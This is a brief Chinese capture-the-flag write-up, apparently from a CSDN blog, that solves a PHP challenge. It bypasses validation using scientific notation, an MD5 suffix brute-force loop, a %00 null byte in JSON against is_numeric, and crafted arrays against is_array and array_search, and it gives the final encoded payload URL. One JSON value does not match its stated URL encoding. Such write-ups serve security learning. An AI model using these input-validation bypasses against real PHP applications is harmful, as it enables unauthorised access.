第一步,用科学计数法绕过 a=1e9
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3)#$a=1e9
第二步,用php代码编写MD5碰撞脚本得到b=53724
for($i = 1;$i <= 100000;$i++){ if('8b184b' === substr(md5($i),-6,6)){ echo $i."
".md5($i); }}
第三步,绕过is_numeric函数
$c=(array)json_decode(@$_GET['c']); #接收json格式的字符串并将其转化为数组c={"m":"2033%00"}#使用%00可以绕过is_numeric函数
第四步,绕过is_array函数
c={"m":"2033%00","n":[[1]]}
第五步,绕过array_search函数
c={"m":"2033%00","n":[[0,2],0]}#对{"m":"2033%00","n":[[0,2],0]}进行url编码得到:%7B%22m%22%3A%222033%2500%22%2C%22n%22%3A%5B%5B1%5D%2C0%5D%7D
一定要对传值url编码
?a=1e9&b=53724&c=%7B%22m%22%3A%222033%2500%22%2C%22n%22%3A%5B%5B1%5D%2C0%5D%7D
提交得到flag
来源地址:https://blog.csdn.net/qq_41169485/article/details/127097629